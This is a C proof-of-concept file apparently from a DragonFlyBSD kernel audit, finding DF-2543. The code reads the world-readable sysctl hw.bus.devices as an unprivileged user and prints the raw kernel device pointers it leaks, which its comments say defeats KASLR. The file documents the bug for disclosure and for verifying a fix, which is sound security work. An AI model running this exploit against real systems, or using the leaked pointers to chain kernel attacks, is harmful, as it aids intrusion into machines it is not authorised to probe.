DragonFlyBSD Kernel Audit
DF-2543 / poc.c
← back to finding ↓ download raw
/*
 * DF-2543 PoC: kernel-pointer leak via world-readable sysctl hw.bus.devices.
 *
 * sys/kern/subr_bus.c sysctl_devices() copies the raw kernel virtual address
 * of every device_t (and its parent) into the dv_handle/dv_parent fields of
 * struct u_device (sys/sys/bus.h) returned to userland:
 *
 *	udev.dv_handle = (uintptr_t)dev;          // raw device_t pointer
 *	udev.dv_parent = (uintptr_t)dev->parent;  // raw parent pointer
 *
 * The node is CTLFLAG_RD (world-readable; the sysctl framework gates only
 * writes via SYSCAP, not reads). This PoC reads the device tree as an
 * unprivileged user and prints every leaked pointer, defeating KASLR and
 * disclosing kernel-heap layout.
 *
 * Build:  cc -o poc poc.c
 * Run:    ./poc
 * Expected (bug present): non-zero 0xffff... pointers in dv_handle/dv_parent
 * Expected (fixed):       dv_handle == 0 && dv_parent == 0 for every device
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>

/* struct u_businfo -- matches sys/kern/subr_bus.c */
struct u_businfo {
	uint32_t ub_version;
	uint32_t ub_generation;
};

/*
 * struct u_device -- matches sys/sys/bus.h exactly (amd64 layout).
 * We define it locally to avoid pulling the heavy kernel <sys/bus.h> into
 * userland. dv_handle / dv_parent are the first two uintptr_t fields.
 */
struct u_device {
	uintptr_t	dv_handle;
	uintptr_t	dv_parent;
	char		dv_name[32];
	char		dv_desc[32];
	char		dv_drivername[32];
	char		dv_pnpinfo[128];
	char		dv_location[128];
	uint32_t	dv_devflags;
	uint16_t	dv_flags;
	int32_t		dv_state;	/* device_state_t is an enum (= int) */
};

int
main(void)
{
	int dev_mib[5], info_mib[CTL_MAXNAME];
	size_t miblen, len;
	struct u_businfo ubus;
	struct u_device udev;
	int idx;
	int leaked_handles = 0, leaked_parents = 0;
	int total = 0;

	/* 1. Read generation count from hw.bus.info (MIB = 6.279.257) */
	miblen = CTL_MAXNAME;
	if (sysctlnametomib("hw.bus.info", info_mib, &miblen) == -1)
		err(1, "sysctlnametomib(hw.bus.info)");
	len = sizeof(ubus);
	if (sysctl(info_mib, miblen, &ubus, &len, NULL, 0) == -1)
		err(1, "sysctl(hw.bus.info)");
	printf("BUS_USER_VERSION=%u generation=%u  (struct u_device size=%zu)\n",
	    ubus.ub_version, ubus.ub_generation, sizeof(udev));

	/* 2. Resolve the hw.bus.devices MIB (6.279.256) */
	miblen = CTL_MAXNAME;
	if (sysctlnametomib("hw.bus.devices", dev_mib, &miblen) == -1)
		err(1, "sysctlnametomib(hw.bus.devices)");

	/* 3. Enumerate every device by index */
	for (idx = 0; ; idx++) {
		dev_mib[3] = ubus.ub_generation;
		dev_mib[4] = idx;
		len = sizeof(udev);
		memset(&udev, 0, sizeof(udev));
		if (sysctl(dev_mib, 5, &udev, &len, NULL, 0) == -1)
			break;	/* ENOENT => end of list */
		total++;

		/* A kernel pointer on amd64 lives in the canonical 0xffff... range. */
		int is_kptr_h = (udev.dv_handle >> 48) == 0xffff;
		int is_kptr_p = (udev.dv_parent >> 48) == 0xffff;
		if (udev.dv_handle != 0) leaked_handles++;
		if (udev.dv_parent  != 0) leaked_parents++;

		printf("[%3d] handle=0x%016jx%s parent=0x%016jx%s  %-16s\n",
		    idx,
		    (uintmax_t)udev.dv_handle, is_kptr_h ? "*" : " ",
		    (uintmax_t)udev.dv_parent,  is_kptr_p ? "*" : " ",
		    udev.dv_name);
	}

	printf("\n--- summary ---\n");
	printf("devices enumerated : %d\n", total);
	printf("leaked dv_handle   : %d  (raw device_t kernel pointers)\n",
	    leaked_handles);
	printf("leaked dv_parent   : %d  (raw parent device_t kernel pointers)\n",
	    leaked_parents);

	if (leaked_handles > 0 || leaked_parents > 0) {
		printf("\nRESULT: LEAK CONFIRMED -- %d raw kernel pointers disclosed "
		       "(KASLR defeated)\n", leaked_handles + leaked_parents);
		return (0);
	}
	printf("\nRESULT: NO LEAK -- dv_handle/dv_parent sanitized (fixed)\n");
	return (1);
}